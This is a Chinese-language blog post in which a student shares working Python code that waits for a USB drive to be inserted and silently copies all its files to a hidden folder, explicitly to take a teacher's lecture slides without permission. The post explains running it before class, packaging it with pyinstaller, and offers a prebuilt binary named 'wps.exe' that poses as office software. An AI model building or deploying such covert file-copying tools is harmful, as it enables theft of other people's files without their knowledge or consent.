老师说,她不想给我ppt

老师说,她不想给我ppt

上了大学之后,几乎所有的老师都要用到ppt讲课,可是,对于我等学渣,上课也没有办法全部记住啊,又不太想做笔记,于是呢?只能腆着脸问老师ppt,老师怎么会轻松给你呢?于是乎,想起了某大牛的话,程序员要用自己的方式解决问题。这不,一个拷贝老师ppt的想法萌生在了我的心头。废话不多说,上代码。

使用语言:python(python是世界上最好用的语言,嘿嘿)


代码

'''
Python 获取本机磁盘列表并复制u盘 by lwc
'''


import string
import os
import shutil
import time


def get_disklist():  #获取盘符
    disk_list = []
    for c in string.ascii_uppercase:
        disk = c + ':'
        if os.path.isdir(disk):
            disk_list.append(disk)
    return disk_list


def get_info_files(root):#获取各文件信息,后并不断写入
    a1=root
    for root, dirs, files in os.walk(root):
        s=root.replace(a1,'D:\\Icopy\\')
        if not os.path.exists(s):
            os.makedirs(s)
        for name in files:
            a=os.path.join(root,name)
            # print(a)
            b=a.split('\\')   #b[-1]得到的是文件名
            c=s+'\\'+b[-1]
            try:
                copy(a,c)
                # print(time.ctime())
            except:
                pass


def copy(a,c):#复制文件信息
    shutil.copyfile(a,c)

def inspect():  #检查u盘是否插入,如果插入立马读取里面的文件信息并拷贝
    a=get_disklist()
    while True:
        b=get_disklist()
        if b!=a and len(b)>len(a):
            c=b[-1]
            break
        time.sleep(5)
    get_info_files(c)


if __name__ == '__main__':
    if not os.path.exists('D:\\Icopy'):
        os.makedirs('D:\\Icopy')
    inspect()


注:这一段代码可以直接运行的。

使用条件: 在代码运行后,插入u盘,等一段时间,在你的D盘下的Icopy文件夹下就有所有的U盘的文件的内容了。


下面是代码的解释:
代码一

import string
import os
import shutil
import time

解释:这一段代码还是预备阶段,导入必要的python库。另外time模块在本次代码并不是必需的。但是这是笔者习惯的用来调试的库,有些代码比较长,运行时间长,通过time模块就能够很轻松地知道程序运行到哪里了。
这些模块好像都是python自带的。不需要手动安装。


代码二

def get_disklist():  #获取盘符
    disk_list = []
    for c in string.ascii_uppercase:
        disk = c + ':'
        if os.path.isdir(disk):
            disk_list.append(disk)
    return disk_list

解释:这一段代码的作用就是获取你的电脑的所有的盘符,为后面代码检测u盘的插入做准备。


代码三

def get_info_files(root):#获取各文件信息,后并不断写入
    a1=root
    for root, dirs, files in os.walk(root):
        s=root.replace(a1,'D:\\Icopy\\')
        if not os.path.exists(s):
            os.makedirs(s)
        for name in files:
            a=os.path.join(root,name)
            # print(a)
            b=a.split('\\')   #b[-1]得到的是文件名
            c=s+'\\'+b[-1]
            try:
                copy(a,c)
                # print(time.ctime())
            except:
                pass


def copy(a,c):#复制文件信息
    shutil.copyfile(a,c)

解释:这一段代码用到了os模块和shutil模块,主要是用到了os.walk函数对系统文件夹进行遍历,shutil模块的copfile函数对文件(注意不是文件夹)进行拷贝。具体用法可以查阅相关文档。


代码四

def inspect():  #检查u盘是否插入,如果插入立马读取里面的文件信息并拷贝
    a=get_disklist()
    while True:
        b=get_disklist()
        if b!=a and len(b)>len(a):
            c=b[-1]
            break
        time.sleep(5)
    get_info_files(c)

解释:这一段代码的作用就是检查u盘是否插入,如果u盘插入了,进行复制拷贝代码。很简单,不多说了。不过,值得一提的是,为什么用到了**len(b)>len(a)**呢?这是考虑到u盘的插入和拔出是两种不同状态。我们需要做的其实是当u盘插入时拷贝里面的文件。


代码五
当然是主函数啦。

if __name__ == '__main__':
    if not os.path.exists('D:\\Icopy'):
        os.makedirs('D:\\Icopy')
    inspect()

主函数主要还是放在了inspect方法里面了。

总结:通过代码的运行,就能够实现当u盘插入时有进行u盘文件的拷贝。从而如果老师不给的话,我们就暗地里从电脑的D盘里面拷贝过来,再也不用担心老师不给ppt啦。
不过,需要注意的是程序应该在老师上课前(U盘插入前)运行。不过聪明的你又会要说了,不是每一个电脑都有python的运行环境啊,那咋办?
哎,这怎么能难倒我们呢?(主要是难不倒python),python内置了pyinstaller模块可以进行打包,从而能够把.py文件转换为电脑都能运行的.exe文件。关于pyinstaller模块,这篇文章有详细的讲解。
pyinstaller模块详解

如果读者不想这么麻烦的话,我这里给大家打包好了,放在百度网盘里面,下载解压之后然后点击wps.exe就能正常运行了。
百度网盘链接
提取码:7nwo

写到这里,接下来就是无关的话了。

写在后面的话
笔者是一名计算机专业的学生,目前在学习nlp的知识,由于NLP开始就要爬取数据,所以一开始就得学习爬取数据,顺便也把Python学得熟练一点。
大家看完之后如果有不明白的可以关注我的微信公众号:
计算机前沿技术
我的所有文章都会同步到我的公众号,欢迎大家关注收藏。
另外,大家看完之后如果有不明白的地方,欢迎大家在评论后提出,或者有思路更好的地方,也欢迎大家和我交流。

我的微信
我的qq:728794494
在这里插入图片描述
验证信息:爬虫博客

如果可以的话,看完后请笔者喝杯奶茶吧。哈哈哈哈哈
在这里插入图片描述
在这里插入图片描述
欢迎转载,务必注明出处。

发布了2 篇原创文章 · 获赞 24 · 访问量 3594
展开阅读全文

没有更多推荐了,返回首页

©️2019 CSDN 皮肤主题: 游动-白 设计师: 上身试试

分享到微信朋友圈

×

扫一扫,手机浏览